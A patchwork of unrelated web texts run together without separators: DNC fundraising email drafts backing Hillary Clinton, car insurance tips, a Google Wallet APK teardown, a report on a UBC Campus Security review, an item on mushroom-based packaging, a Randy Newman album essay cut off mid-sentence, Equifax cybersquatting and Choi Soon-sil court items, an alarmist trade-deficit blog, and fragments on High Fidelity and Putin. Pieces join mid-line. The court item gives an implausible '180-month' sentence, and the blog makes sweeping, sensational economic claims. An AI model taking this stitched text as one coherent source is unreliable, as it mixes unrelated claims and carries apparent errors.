Hillary Clinton as our nominee. <LINK>And that togetherness is key, NAME. Because it's so clear that whomever comes out on top at the end of the Republican primary will be a disaster for America -- and it'll take all of us working together to stop him from enacting the kind of policies that would have catastrophic consequences for people in every corner of this country.</LINK> Plain and simple: We've got to spend the next XX months fighting every single day to make sure that the Republican nominee doesn't stand a chance, and to make sure that Secretary Clinton has the resources she needs to win the White House in November. She has proven time and time again that she will protect the progress we've made together over the past seven years, and that she'll do whatever it takes to keep moving this country forward and finish what we started. But she can't do it without us. So right now, if you're ready to win this thing and show Hillary Clinton you're with her, pitch in $10 or more right now to help elect her our next president and put Democrats in office all across the country. LINKS #ImWithHer -- and I hope you are, too. All the best, Amy Amy K. Dacey Chief Executive Officer Democratic National Committee -v2(EJB)- Sender: Amy K. Dacey This election has made me so proud, NAME. I'm proud of every single one of our Democratic candidates, because they each ran truly admirable campaigns and got the country talking about the issues that really matter to us as Democrats, like income inequality, climate change, and immigration, and brought new energy into this process. I'm proud of the staff and volunteers all across the country, who put in such long hours and worked tirelessly to get us to this point. I'm proud of supporters like you and all of the voters who did their part and made their voices heard. <LINK>And now, I am so proud to stand behind Hillary Clinton as our party's nominee and to lead the charge to make sure she becomes the 45th President of the United States.</LINK> Not only does Hillary have the skills and determination to build on President Obama's legacy and keep moving this country forward from the White House, she understands just how important it is to have a Congress that works and states that will do right by their people -- which means helping to elect Democrats up and down the ballot and strengthening our party this year and beyond. I am so excited to rally the troops and win this thing, NAME, but it's not going to be easy. The fact of the matter is we can't win the White House three times in a row without every single one of us digging deeper and working harder than ever before to get there. Republicans are going to fight like hell, and that means we're going to have to step up all of our efforts, starting right now. Can we count on you to be part of this? LINKS We're about to make history, NAME. We're the closest we've ever been to electing our first woman president -- how cool is that? And you're going to be part of the movement that's going to make it happen. I'm so glad you're with us. Thank you for everything you do. All the best, Amy Amy K. Dacey Chief Executive Officer Democratic National Committee == Elect Hillary gfx == -v1(CH)- Sender: Democrats.org We've got to elect her [photo of POTUS and HRC] if we want to protect all his progress Add your name if you're ready to make Hillary Clinton our next president [I'm in] -v2(EJB)- Sender: Democrats.org Democrats are ready to make history [great pic of Hil] Add your name if you're in to make Hillary Clinton our 45th President of the United States [White House pic] [I'M WITH HER] == POTUS endorsement == -v1(EJB)- Sender: Barack Obama Friend - In a few months, I'm going to be returning back to life as a regular citizen. And just like you, I'm going to be looking to leaders in Washington to make the kinds of decisions that are going keep us on the right track and pave the way to a prosperous, secure future for my daughters and for generations to come. NAME, there is no one I trust more in that position than my friend, Hillary Clinton. <LINK>So today, I'm asking you to add your name with mine and say that you're ready to make Hillary Clinton the next President of the United States.</LINK> After spending almost eight years behind this desk, you get a pretty good sense of what it takes to handle the pressures and challenges that come with it, and you simply won't find anyone more prepared than Hillary. What she understands better than almost anyone is how to translate the values we share into a plan to deliver the goods and make a real difference in people's day-to-day lives. We've come a long way together, NAME, and there's so much more I know we can accomplish with a leader who has the vision, strength, and persistence to keep moving us forward. Hillary is that leader. I've admired those qualities both as a colleague in the Senate and later as a key player in my Cabinet. Whether it's at home, strengthening and broadening our middle class and making affordable health care a right for every single American, or abroad, ensuring that diplomacy is the greatest weapon in our arsenal, I'm with her because I know she's with us, plain and simple. This is going to be a truly historic election. NAME, I can't wait to see Sasha and Malia's faces on January 20th, 2017 when that highest, hardest glass ceiling has finally been broken, knowing there is truly nothing they can't achieve. I'm going to work as hard as I can to make sure we get to that day, and I hope you will, too: LINK The stakes couldn't be higher, and the Republican opposition is going to be fierce, but I know that with supporters like you working together, we're going to win this. Thanks for your support - now let's get to work. Barack Obama -v2(CH)-- Sender: Barack Obama August 28th, 2008 is a night I'll never forget, NAME. I stood in Denver and accepted the Democratic Party's nomination for President of the United States and promised that, with you by my side, I would do whatever it took to keep the American promise alive. And take a look at how far we've come since then: Our unemployment rate's been cut in half, more people are insured than ever before, more of our kids are graduating from high school and can afford to look into higher education opportunities, we're combating climate change so our kids and grandkids can inherit a healthy planet. But we're not finished. We've got so much more to do and we've got to make sure we put the future of our country in the hands of a leader who will work with us to finish what we started together all those years ago. <LINK>And I think you and I both know who that person is: our nominee for President of the United States, Hillary Clinton. </LINK> A champion for working Americans and an inspiration to my daughters and young girls all across the country, Hillary Clinton embodies the spirit of service. She is the fighter we need to keep making progress and moving forward, and I couldn't be more proud to be handing off the baton off to such a strong, capable successor. So, the time is now for us to come together as one party and American family to make sure that the next generation, and all the generations to come, can pursue their individual dreams through hard work and sacrifice. That's what sets this country apart. And if there is one thing I'm sure about, it's that Hillary Clinton will protect that ideal and work tirelessly every single day as our president to expand opportunity and grow our middle class and do the work that really makes our country exceptional. I wholeheartedly believe that Hillary will lead us where we need to go, and if you agree, then add your name next to mine and say you're ready to do whatever it takes to make sure she is our next president: LINK In just a few months we'll elect the person who'll take my place here in this office, and I know that we'll spend every day between now and then doing the work to ensure that person is Hillary Clinton. Thank you so much for everything you're doing to protect our progress and keep moving forward. We couldn't do this without you. Barack ObamaPin 0 Shares
Saving money on car insurance is easier than you think… with a little bit of self education. Here are 15 simple things you can do that will save you money, while better protecting your car and its occupants.
So have at it – become a confident, educated consumer and make sure you pay the lowest possible price for your car insurance!
Continues after Advertisement
15 Tips To Get Better Insurance Rates
Understand insurance companies – The auto insurance industry is divided into three types of businesses: Direct Agents, Independent Agents who sell the insurance of various companies, and Exclusive Agents who work on commission and can only sell one brand of insurance. If you have a good driving record, it’s likely you’ll get the best deal from a direct agent because they remove the middle man. Shop around – This is easily one of the most important factors to consider. Don’t take quotes from just a couple auto insurance companies. Instead, really look into what each has to offer and which discounts they can give you. Ask for insurance advice at your body shop – Your local body shop works with insurance companies and their adjustors nearly every day. Ask them which companies they prefer and which have the smoothest claims process. Check with your state’s insurance department – Depending on which state you’re in, many publish consumer complaint data and complaint ratios that show how many consumer complaints have been made against each company. Make sure you choose a company that you’re comfortable with and has gotten good reviews. Slow down – If you’ve had several speeding tickets, you’re much less likely to get discounts for safe driving. Etch your VIN – Studies have shown that cars with an etched-in VIN are much less likely to get stolen. By avoiding a stolen car, you’ll avoid a claim. Verify the accuracy of your policy – If you haven’t done so, take a minute to browse through your policy to make sure everything is correct. You’d be surprised at how quickly small charges can add up. Avoid lapses in coverage – Even a few weeks’ lapse in coverage can make you ineligible for discounts. If you’re in the process of switching carriers, make sure you don’t quit your previous carrier until the new coverage takes effect. Don’t claim small amounts – If you often make small claims (less than $500), you may have to pay a higher premium when it comes time for renewal. If you make a significant amount of claims in one year, your insurer may not want to cover you at all. Next time you have a claim, make sure it’s worth it in the long run. Limit the number of people who drive your car – The more people you have listed as drivers, the higher your premium will be. Teenagers and young adults under 25 are among the most expensive drivers to add to the policy. Verify the accuracy of your VIN – Most drivers are unaware of this, but an inaccurate VIN (even if it’s off by just one digit) can affect your auto insurance quote. Double check your VIN to ensure you’re not being overcharged. Mind your credit score – More and more auto insurance carriers are considering credit scores when giving you a quote. Sometimes, having bad credit can end in you paying up to 50 percent more. So, make sure to pay your bills on time and check that there are no items on your credit score that aren’t yours. Evaluate insurance costs when purchasing a new vehicle – When considering a new car, get a quote on your insurance rate, as the year, make, and model can make quite a big difference. Newer, sporty cars will be significantly more expensive to insure than used, family-style cars. Purchase a low profile car – Similar to the above, know that cars that are expensive to repair or have a high theft rate will end up costing you quite a bit more to insure. Don’t “pimp your ride” – Research has shown that adding modifications to your car, like a rear spoiler or lowering the suspension, can nearly double the cost of coverage.
And there you have it! Next time you’re shopping for new auto insurance, keep in mind the above tips – you may be surprised just how much money they can save you in the long run.
This is a guest post from Pam King. Pam writes on frugality, safety and insurance literacy for Direct General, a provider of cheap car insurance. When not saving money on her insurance, Pam enjoys knitting, NASCAR, family and watching rollerderby! :)
Pin 0 SharesIt's time to go APK spelunking again. Today's target is Google Wallet!
Remember this Google Wallet Q&A? The Wallet team took to YouTube and fielded user-submitted questions ranging from "When will Wallet work on my carrier?" to "When will Wallet work in my country?" with the answer to just about everything being "we're looking into it." One exception in the non-committal answer-fest was person to person transactions, with the Walleteers saying to "stay tuned" and hinting that an announcement would be coming soon.
Well, after digging though the Wallet APK, "soon" feels a whole lot closer. It turns out there is a ton of code and images for sending money from person to person, and it's been hanging around for some time. Check this out:
That is the tutorial picture you'll see when Google decides to flip the switch to enable P2P transfers. There's tutorial text in the APK, too:
<string name="tutorial_send_money_description">Pay friends or family quickly with just an email address or phone number.</string> <string name="intro_video_send_money"><b><font color=#1f7cd4> Send money quickly.</font></b> Pay friends and family instantly, right from your device.</string>
Interestingly, both of these only mention sending money to an email address or phone number; there's nothing about tapping two phones together for an NFC-based transaction. NFC support would be nice, but I wonder if this means Wallet will show up on non-NFC phones? This is the first feature where NFC isn't a requirement.
THIS IS A MOCKUP, but is currently what the code looks like. The APK provides us a big green dashboard button called "ic_btn_dashboard_p2p_normal.png" and strings.xml tells us the button will be labeled "Send Money" with this tidbit: <string name="dashboard_button_p2p">Send Money</string>.
This is also the order the buttons appear in the xml - Send Money is on the bottom. I suspect that is just so they can easily disable it. Having it at the bottom doesn't really make any organizational sense, and I would expect it to be bumped up next to the other card buttons when it is switched on.
Top row: Old 2x3 dashboard design | Bottom Row: A better design
Actually, it wouldn't surprise me to see the whole app get a revamp, this 2x3 Dashboard look is seriously dated (we're talking a Froyo-era design), and just about every app that used it has switched to something more modern. Having the first screen of your app be only navigational elements isn't helpful. In the newest release, they've added a few PNG files for holo tabs, which are, hopefully, the beginnings of a redesign. (They are 6-pixel-wide blue squares and not worth posting).
We have good evidence Google is dogfooding (testing) this right now. There are a few strings related to Googlers and Dogfood:
<string name="tutorial_send_money_to_googler_description">Pay fellow Googlers quickly and for free with just an email address.</string> <string name="help_topic_contact_us_phone_google_dogfood">For Google Wallet related questions contact Google toll-free at 1-855-[redacted].</string> <string name="help_topic_contact_us_send_receive_dogfood">For questions specific to sending or receiving money, Dogfooders can email <a href=mailto:[redacted]@google.com>[redacted]@google.com</a>.</string>
It sounds like money is flying through the air over at Google HQ, and they are leaving us out of the fun!
So far as what things will look like after you hit that "Send Money" button? Well, that's anyone's guess. All I can get from the APK is bits and pieces. There is a string for "Available Wallet Balance" and a few buttons to "Add or withdraw money," so it sounds like you'll have a quasi-bank account with a money balance similar to PayPal. "Google Bank" will basically be a thing now. Transferring between your Wallet account and a real bank account won't be all that fast, with text stating "3 to 6 business days" for various money transfers.
Other than that there isn't too much surprising stuff, you'll be able to view transaction history, and it will tell you who sent money and who received it. One way it will differ from PayPal is that money won't just be a 1 sided transfer, when a transfer happens, you'll get a dialog asking if you want to "Claim" or "Reject" the money, and the sender can even attach a message to your money transfer. The last bit of good news is that a bank account won't be mandatory; there are several messages that say "This function is not available without a bank account," which would suggest some functions are available without a bank account.
The most shocking thing is that, on the client side, P2P Wallet functionality looks finished. It wouldn't surprise me if, in a few days, an enterprising hacker manages to get some of the UI up and running on a real phone (be sure to tip us if you do!). That doesn't mean a release is imminent - Google's infrastructure is, no doubt, the hard part. When you are sending people's money whizzing through the air you better be sure your system is rock solid and not prone to mistakes. The server-side stuff still probably needs more testing.
You'll know more when we do.
Thanks for the heads up, Anonymous!This April, three external reviewers hired by UBC conducted a thorough review of everything falling under the umbrella of department of Campus Security. The review was recommended by the Campus Safety and Security Committee in late 2015, operating on the knowledge that an in-depth look at Campus Security had not been done in many years.
“I've been on campus for 26 years, and to my knowledge this is the first time [that Campus Security] has been reviewed,” said Debbie Harvie, managing director of University Community Services — a position which includes Campus Security in its portfolio.
The three members of the external review committee — Fred Fotis of the University of Wisconsin, Stan Gilmour of the Reading Police in the UK and Pat Patton of the University of Regina — visited both the Vancouver and Okanagan campuses with the goal “to evaluate current operations and provide feedback and suggestions to enhance those operations in the near and longer term,” according to their final report.
They spent four days on the Vancouver campus and one day on the Okanagan campus, carrying out interviews and assessments.
The review makes 31 recommendations to improve Campus Security that the reviewers feel that UBC should concentrate on. Most of the recommendations focus on the “dissonance” that the reviewers found on the Vancouver campus.
As the review explains, “There was a lack of clarity concerning the importance of safety on the campus, who was undertaking the security function and how it was being undertaken, what role the Campus Security department was fulfilling … and many other issues.”
While the 30-page review is much too long to analyze here in full, this article touches on some of the recommendations and issues that seemed most central to the report.
Students wishing to read the full report, which shines additional light on specific problems with security and safety management at UBC and shows students what types of improvements that they can expect in the coming years, may find the report here.
Clarity of role
Recommendations one through six touched on the lack of a clarity of the role of Campus Security, emphasizing the dissonance between the importance of safety on campus and the functioning of campus security found on campus. The suggestions here are broad and overarching, suggesting a mild overhaul of the way the department runs and its responsibilities as a result.
Specifically, the section pinpoints making their roles and responsibilities clear, which will in turn also inform the nature of their partnership with the RCMP — even noting that Campus Security should receive proper training in when “to turn a criminal action over to the RCMP.”
"When questioned specifically about the Campus Security department, students (and many staff) on the Vancouver campus were not clear as to their role." — Campus Security External Review
“When questioned specifically about the Campus Security department, students (and many staff) on the Vancouver campus were not clear as to their role,” the report reads, adding that even Campus Security staff were seemingly unsure as to what their role was.
A review of the University Bylaws of the Vancouver campus also suggested a clarification of roles and responsibilities.
Financials
Campus Security’s financial resources (recommendation 16) are noted as a point of concern by the review team.
"It is clear that the Campus Security’s department on the Vancouver campus over promises and under delivers with its current resource model." — Campus Security External Review
“It is clear that the Campus Security’s department on the Vancouver campus over promises and under delivers with its current resource model,” noted the report.
They underline a particular confusion in the department with how exactly resources should be allocated and prioritized, often resulting in nonsensical distribution of money.
The reviewers also emphasized their concern that at times there are “only two patrol staff” on the Vancouver campus, and “as such they can have little real impact on community safety and certainly very little on ‘keeping students safe.’”
When interviewed in the past about patrol officers, Campus Security representatives could not touch on the exact number on campus or even whether that number changed from day to night, citing safety concerns with disclosure.
The report gets quite clear with the fact that they have higher expectations from the Vancouver campus in terms of financials than what the current model is delivering. They were evidently unimpressed with the current resource allocation model — namely because they felt that resources were allocated in a biased manner — and also noted that cutbacks in recent years had been apparently executed with little concern as to their impact.
However, Harvie disagrees.
“Although we did take a little bit of a budget cut,” said Harvie, “it was done very thoughtfully and in a way that we didn't reduce our services on campus.”
Blue phones
The blue phones only come up very briefly (in recommendation seven), when the report advises the Vancouver campus to “immediately bag” any blue phones that are out of order, and to “implement a plan to repair or replace the non-working blue phones quickly and on an on-going basis.” It also notes that blue phones should be given a “high priority” for maintenance.
Recommendation seven, however, is one of the three recommendations that UBC disagrees with.
“Early April, when the review committee was here, we were finalizing the installation of 16 new phones and retrofitting the 20 existing phones. They were never out of service. So when we responded to the report we noted that,” said Harvie.
"Regarding the blue phones, the roll-out appeared to have been treated as a project rather than a program and, as such, contingencies were not thought through." — Campus Security External Review
In contrast, the review writes that “regarding the blue phones, the roll-out appeared to have been treated as a project rather than a program and, as such, contingencies were not thought through.”
Harvie notes that currently, if a blue phone goes out of order the university has plans in place to immediately put a bag over the phone to show that it is not working — but they are all currently functioning.
Sense of community
The report also included several recommendations meant to enhance the sense of community and community safety provided by Campus Security and the Vancouver campus (recommendations 8, 9, 10 and 11). These recommendations suggest a clear value statement, a development of education, policies, support services and awareness of the issues around sexual violence, as well as community consultation, among other areas of focus.
Recommendation 11 also suggests the development of “staff skills and understanding [that] encourage a more interactive relationship with the community.”
Staff of Campus Security
The report suggests small tweaks to the management of Campus Security staff.
They recommend the recruitment of a “Head of Profession for Community Safety” as a “senior post holder” to be responsible for creating and managing relationships with stakeholders with matters regarding community safety. They “would be the face and the voice of community safety for UBC” and report directly to the executive.
Regarding the general staff of Campus Security, the review team reported that “all levels of the Vancouver staff seemed to despair at not being listened to or heard,” and that they also “did not appear to have much sense of their role or purpose.”
They recommend a re-energization of staff, closer partnerships with others such as Safewalk, and even tweaks to the uniforms of Campus Security staff to bring about a "more visible, recognizable style" with a "common colour and standard."
Risk assessment and incident management
The report also found both risk assessment (recommendation 30) and incident management (recommendations 31 and 32) practices on campus to be lacking.
The review committee notes that they did “not find evidence of a thorough risk assessment” of the Vancouver campus. They suggest that one be done immediately, as well as the creation of a safety certification process for campus sections.
“There was little concerted effort to review the University’s response and use lessons to build procedures for future incidents…. The managing of sexual assault is one example.” — Campus Security External Review
The review also notes that for incident management, “there was an acknowledgement on both campuses that UBC was unprepared for some kinds of major incidents.” They recommend that new responses to critical incidences be developed and turned into the standard.
Interestingly, as the report writes regarding the lack of good incident management by the university, “there was little concerted effort to review the University’s response and use lessons to build procedures for future incidents…. The managing of sexual assault is one example.”
Recommendations 31 and 32 are the other two that the university disagreed with, according to Harvie.
“In fact we do have a lot of plans and protocols in place for emergency preparedness,” said Harvie. “I don't think they really spent a lot of time looking at our risk management services and emergency preparedness.”
Implementation: What’s next?
In an interview with The Ubyssey, Debbie Harvie noted that the university plans to prioritize recommendations 1, 3, 8, 10, 11, 16, 20 and 21.
“All of these primarily focus on establishing the vision and purpose of the department first because I think we need to clarify that, and then other things will follow,” said Harvie.
The university will be bringing on Benjamin Goold, a UBC professor in the Faculty of Law, and another consultant (to be decided on) to begin working on the implementation of many of the review’s points, beginning with the new “vision” for the department moving forward.
“I'm actually quite excited about [the recommendations], because I think for the first time we're going to get very clear role and mandate clarification for the department," said Harvie.
"I think it's going to take us some time to move forward in a very thoughtful way to implement the recommendations, but I thought it was a good review."
The full report can be read here.The founders of Ecovative Design want to replace traditional styrofoam packing with something that biodegrades — something that doesn’t contain petroleum.
Mushrooms.
Gavin McIntyre, co-founder and chief science officer of the upstate New York start-up, says realizing the versatility and strength of mushrooms came to him and his co-founder, Eben Bayer, while they were undergraduates at Rensselaer Polytechnic College.
Bayer comes from a family of maple farmers. He noticed that the tissue of mushrooms grew on and bound woodchips together.
“How could we translate this natural process, this adhesion that occurs in nature, into an industrial setting, and turn this natural tissue into a living glue?” McIntyre said.
Ecovative Design uses mycelium — which McIntyre describes as the “supporting structure of all fungi” — as it’s primary building material.
“The mycelium differentiates and forms mushrooms or the vegetative root type structure that grows on lawns or in trees for example,” McIntyre explained. “Based on the temperature, or the CO2 levels, even light, the mushroom will form or it will just generate more of that vegetative mycelium.”
The company uses this mycelium network, combined with agricultural waste products such as corn stalks, to produce specific shapes for their packing materials. The process doesn’t use any external energy, and the resulting product is completely biodegradable.
“It’s really a set and forget process,” McIntyre said.
The company has created products in a variety of shapes and sizes, from “customized and complex geometries for protective packaging” to “panels for the construction industry.
“And today, we’re even growing a house,” McIntyre added.
McIntyre says Ecovative Design will prove to be the green version of Dow Chemical or DuPont.
“We truly believe we have a revolutionary technology here, leveraging nature to replace synthetic plastics and foams,” McIntyre said. “There isn’t a single day that goes by that there isn’t someone on our team that is developing a new piece of tech, a new material, or a new market that I’m not awestruck by.”Permanent Records is an ongoing closer look at the records that matter most.
More than any other region of the United States, the American South feels designed to baffle outsiders. If there’s a group of people left in America that it is still relatively easy and acceptable to mock en masse, it is white Southerners, usually coded as dumb, backward, poor, and bigoted. But outsiders who try to criticize the South often fall prey to oversimplification, unable as they are to see the layers—good and bad mixed together—that constitute Southern culture. That’s why the most effective critics of Southern culture usually spring from within the region itself: From writers like Walker Percy to political figures like Martin Luther King Jr., those who can critique the South’s flaws from a place of love and understanding, rather than derision, have the best chance of gaining the ears of Southerners accustomed to being burned by outside scorn.
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On his 1974 album Good Old Boys, Randy Newman attempts the daring task of approaching white Southern culture with empathy from the outside. Though his later semi-autobiographical album Land Of Dreams sketches out Newman’s familial connections to the South (and particularly Louisiana, which takes a pride of place on Good Old Boys), Newman has always been identified as a Californian. Furthermore, his typecasting as a nebbishy intellectual in the world of pop music would seem to make him a particularly poor choice for approaching salt of the earth, working class Americans. But, as Good Old Boys demonstrates ably, beneath Newman the biting satirist lies Newman the populist, always ready to express viewpoints other than his own in his songs. Newman’s ability to adopt the perspective of an everyman Southerner makes Good Old Boys one of the few profound documents of the American South written by someone not from the region.
Originally conceived as a concept album featuring the same Southern narrator on every song, Good Old Boys eventually fanned out to adopt a more mosaic approach, taking the theme of Southern living and riffing on it in multiple directions and with multiple narrative voices. From the first song’s opening lines, Newman puts forward one of the governing ideas of the album:
Last night I saw Lester Maddox on a TV show
With some smartass New York Jew
And the Jew laughed at Lester Maddox
And the audience laughed at Lester Maddox too
Well he may be a fool but he’s our fool
If they think they’re better than him they’re wrong
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Newman claims the inspiration for the song came from watching Maddox, a Georgia governor who supported segregation, getting mocked relentlessly on The Dick Cavett Show. Despite finding Maddox’s views repulsive, Newman can imagine the sting of seeing one of your own mocked, and his narrator spends the rest of the song, “Rednecks,” pointing out the discrepancies between the superior tone of white Northerners and their actions, showing through satire the sorry treatment of African-Americans all over the United States. There’s a joke in these opening lines too, though, one Newman makes at his own expense. Swap out “New York” for “California” in the phrase “Smartass New York Jew” and you have a good description of Newman’s public persona. A reference to Jews that should sound menacing given the context also takes on a layer of playfulness as Newman lays his own cards as an outsider on the table. Less successful is Newman’s decision to make repeated used of the N-word, in this song only. His use, meant to highlight the discrepancy between talk and action in the treatment of African-Americans, still comes across as uncomfortable, and represents the rare moment in the album where Newman fails to achieve his desired goal of balancing honesty with empathy.
Newman takes this ambivalent approach throughout Good Old Boys, highlighting both the good and the bad of Southern culture, but always exploring these themes from the perspective of an insider. This insures that his treatment of difficult subjects like poverty and alcoholism avoid both romanticism and straight condemnation, and that there’s plenty of room for the positives as well.
On occasion Newman has been lampooned for his tendency to weave mundane details into his songs, getting portrayed as a stream of consciousness lyricist who writes down whatever pops into his head. In reality, though, Newman’s eye for detail is an asset, letting him construct songs replete with what the anthropologist Clifford Geertz terms “thick description,” building not just characters but entire worlds. A song like “Birmingham” uses this talent to great effect:
On the surface an almost childishly simple song, “Birmingham” slowly builds a picture of one man’s life and sense of local pride out of snippets: his job at |
the company set up an official site at EquifaxSecurity2017.com. That’s not an easy domain name to remember. Even Equifax’s own employees directed people to the wrong site.
China Capital Investment Limited registered 138 domain names similar to EquifaxSecurity2017.com. Many of them are typos that redirect to parking pages with ads for identity theft protection and credit scores.
Equifax filed a cybersquatting complaint with World Intellectual Property Organization (WIPO). The WIPO panel agreed that this is a case of cybersquatting and ordered the domain names to be transferred to Equifax. The transfer should be complete within ten days.
Douglas M. Isenberg of The GigaLaw Firm represented Equifax.By Kim Bo-eun
The Seoul Central District Court handed Choi Soon-sil a three-year prison term in the first trial Friday over charges she made Ewha Womans University provide favors for her daughter in admissions and grading.
This was the first court ruling for Choi over the influence-peddling scandal, which removed her longtime friend former President Park Geun-hye from office in March.
Hearings are taking place for other cases including allegedly pressuring conglomerates for funds and receiving bribes from Samsung in return for granting it business favors.
Choi has been detained and indicted on charges of work disturbance for making the school's faculty change rules to admit her daughter Chung Yoo-ra and give her passing grades despite her absence from school. The independent counsel team led by Park Young-soo had sought seven years for that charge.
Former Ewha President Choi Kyung-hee and former physical education dean Kim Kyung-sook were each handed two-year sentences. Former admissions chief Namkung Gon also received an 180-month term for his involvement.
Professors Lyou Chul-gyun and Lee In-sung both got one-year sentences suspended for two years.
"Evidence shows there was collusion over the unfair admission of Chung Yoo-ra, among her mother Choi and faculty members Choi, Namkung and Kim, as well as former Culture Vice Minister Kim Chong. We recognize Ewha's ex-President Choi ordered Namkung to select Chung," the court said.
The suspects "tore down people's trust in universities and damaged the value of fairness which holds our society together," it added.
"To regard Choi's deeds as stemming from her wish as a mother for the best for her child, she showed too many illicit acts, and her maternal love gone wrong made her daughter into an accomplice."
Because the court recognized Choi and her daughter Chung's collusion, this will likely affect the prosecution's investigation of Chung, as well as future trials.
Choi and Kim are suspected to have ordered Namkung to select Chung. He allegedly told other faculty members to select the student wearing a gold medal in the interview, despite rules which did not allow interviewees to bring in personal belongings.
Chung, a dressage competitor, wore the gold medal she acquired in the Incheon Asian Games in 2014 a month ahead of the interview.
Even though she won the medal after the application deadline, the school reflected the medal in her evaluation. It granted Chung admission, over other candidates who had higher scores than her before the interview.
Other faculty members are suspected to have given Chung grades even though she missed classes and did not take tests.1.3k SHARES Facebook Twitter
America is losing wealth far faster than any other nation on earth is. In fact, since the mid-1970s there has been a transfer of wealth of almost 8 trillion dollars from the United States to the rest of the world. Sadly, most Americans have no idea what is happening. Most of them are completely unaware that America is being transformed from a wealthy nation into a poor nation at breathtaking speed. Most Americans just assume that America will always have the largest economy on earth and will always be the wealthiest nation on the globe. Unfortunately, just because something was true in the past does not mean that it will be true in the future. Right now, the United States is bleeding wealth at a pace that is almost unimaginable. Every single month, tens of billions of dollars of wealth is permanently transferred from the American people to the rest of the world. That means that the overall economic pie is shrinking. While the rich and the poor are busy fighting over the distribution of wealth in this country, the size of the pie that they are dividing up is continually getting smaller. America is poorer than it was last month, and next month it will be even poorer. If this continues, it will result in a complete and total economic nightmare.
Let’s break this down to a real simple example. Imagine that you are playing a game with a whole bunch of people, and you have been chosen to play the role of the United States. So you go stand on a giant map of the United States and you are given much more money than anyone else in the game. However, with each turn 50 billion dollars is taken out of your pile of money and is given to the other players.
What is going to happen eventually?
Yes, that is right – you are going to run out of money at some point.
In order to continue playing you will need to borrow more money from the other players or you will need to print up some more money.
Does that sound familiar?
In January, the U.S. trade deficit with the rest of the world hit 52.6 billion dollars.
That means that we bought 52.6 billion dollars more stuff from the rest of the world than they bought from us.
That 52.6 billion dollars is gone and it is not coming back. Next month another 50 billion dollars will leave the country.
Are you starting to get the picture?
Imagine a giant hourglass filled with dollar bills. Dollars are pouring out of the United States and into the pockets of foreigners at a pace that is absolutely astounding.
In 2011, the U.S. trade deficit with the rest of the world was about 560 billion dollars.
We have a trade imbalance that is more than 5 times larger than any other nation on earth has. That means that we are getting poorer at a far faster rate than anyone else is.
Most of the money that we spend does not even do any lasting good.
For example, a huge chunk of our trade deficit is spent on importing oil. Once we burn that oil up in our cars it is gone for good and we have nothing to show for it.
But the people we sent our money to end up with bulging bank accounts.
How in the world do you think those oil barons build those outrageous palaces and are able to afford those exotic car collections?
They buy all those things with the money that we sent to them.
Meanwhile, our once great major cities are degenerating into festering sores.
Our foolish policies are causing our own destruction.
Another reason why we have such a huge trade deficit is because of our trade relationship with China.
Our trade deficit with China was approximately 26 billion dollars during the month of January.
That is absolutely horrifying.
For the entire year of 2011, our trade deficit with China hit a grand total of about 295.5 billion dollars.
That was the largest trade deficit that one country has had with another country in the history of the world.
Back in 1985, the U.S. trade deficit with China was only 6 million dollars for the entire year.
In 2011, our trade deficit with China was more than 49,000 times larger than it was back in 1985.
That is not a good trend.
Have you ever noticed that it seems like half the stuff we sell in our stores says “Made in China” on it?
Well, that is because China is wiping the floor with us on the global economic stage.
Just look at how the overall U.S. trade deficit has exploded over the past few decades. In the chart below, we see that the U.S. trade deficit really spiked when the price of oil reached unprecedented heights a few years ago. Then it dropped during the recession when the price of oil fell like a rock. But now the U.S. trade deficit is almost back to where it was before….
Today, the U.S. trade deficit with the rest of the world is about 5 times larger than it was back in 1996.
That means that we are getting poorer as a nation at a rate that is 5 times faster than back in 1996.
All of that money that is going out of the country could be going to support jobs and businesses inside the United States.
But instead we have been losing jobs and businesses over the past decade at a rate that is absolutely amazing.
According to U.S. Representative Betty Sutton, an average of 23 manufacturing facilities a day closed down in the United States during 2010.
23 every single day!
That means less jobs for American workers.
Right now, there are approximately 6 million fewer jobs in America than there was back in December 2007.
Because there are not enough jobs, we now have millions of working age Americans that simply cannot take care of themselves.
But it isn’t just jobs that we are losing.
There are a whole host of other statistics that show that economic conditions in America continue to get worse and worse and worse. An all-time record 46.5 million Americans are on food stamps and poverty continues to explode all over nation.
Instead of addressing the root causes of our problems, our leaders continue to support our false standard of living by borrowing gigantic piles of money.
In many instances, we go back to the very same people that we sent our money to and we beg them to borrow it back.
How stupid can we be?
Debt always makes you even poorer in the long run.
Take a look at how our budget deficits on the national level have absolutely exploded in recent years….
Anyone that tells you that America is in good shape financially is lying.
Just look at that chart.
Sadly, the truth is even worse than the chart shows. For example, there never was a “surplus” under the Clinton administration. The U.S. government simply stole money from Social Security and used a bunch of other accounting tricks to make things seem a lot better than they were.
And the U.S. government is still using all sorts of accounting tricks to hide the true size of the national debt. If you doubt this, just read this article.
If the U.S. government was forced to use GAAP (Generally Accepted Accounting Principles), the U.S. budget deficit would be far larger each year.
But it is not just the federal government that is drowning in debt.
All over the country right now, municipalities are going broke….
*Harrisburg, Pennsylvania has announced that it will be skipping debt payments.
*Stockton, California is on the verge of becoming the largest U.S. municipality to ever file for bankruptcy.
For years, our politicians borrowed immense amounts of money to make up for all of the wealth that we were bleeding as a nation.
But now we are absolutely drowning in debt and all of this reckless spending is not going to be able to last much longer.
When all of this reckless spending ends, our false prosperity is going to disappear.
Did you know that the U.S. national debt is growing by about 150 million dollars every single hour?
150 million dollars an hour is being stolen from our children and our grandchildren so that we can maintain our false standard of living.
Most Americans expect things to get back to “normal”, but the truth is that “normal” has left the building.
Our transition from being a wealthy nation to being a poor nation continues every single day, and our politicians are doing nothing to stop it.
Enjoy these good times while you still can, because they are not going to last too much longer. The debt bubble we have been living in is going to burst, and when it does we are going to get hit with a cold dose of reality.Thirty-something Rob Gordon, a former club DJ, owns a not so lucrative used record store in Chicago. He not so much employs Barry and Dick, but rather keeps them around as they showed up at the store one day and never left. All three are vinyl and music snobs, but in different ways. Rob has a penchant for compiling top five lists. The latest of these lists is his top five break-ups, it spurred by the fact that his latest girlfriend, Laura, a lawyer, has just broken up with him. He believed that Laura would be the one who would last, partly as an expectation of where he would be at this stage in his life. Rob admits that there have been a few incidents in their relationship which in and of themselves could be grounds for her to want to break up. To his satisfaction, Laura is not on this top five list. Rob feels a need not only to review the five relationships, which go back as far as middle school when he was twelve, and try to come to terms with why the woman, or girl as the case may...Putin told United Russia delegates on Sunday that foreign NGOs were trying to influence the course of the vote [EPA]
Vladimir Putin has accepted his ruling party's nomination to return to Russia's presidency, while accusing foreigners of funding his political opponents.
Putin, president from 2000-2008 and now prime minister, is expected to easily recapture the presidency in an election in March. But opinion polls indicate a parliamentary election in a week could loosen his United Russia party's domination of Russian politics.
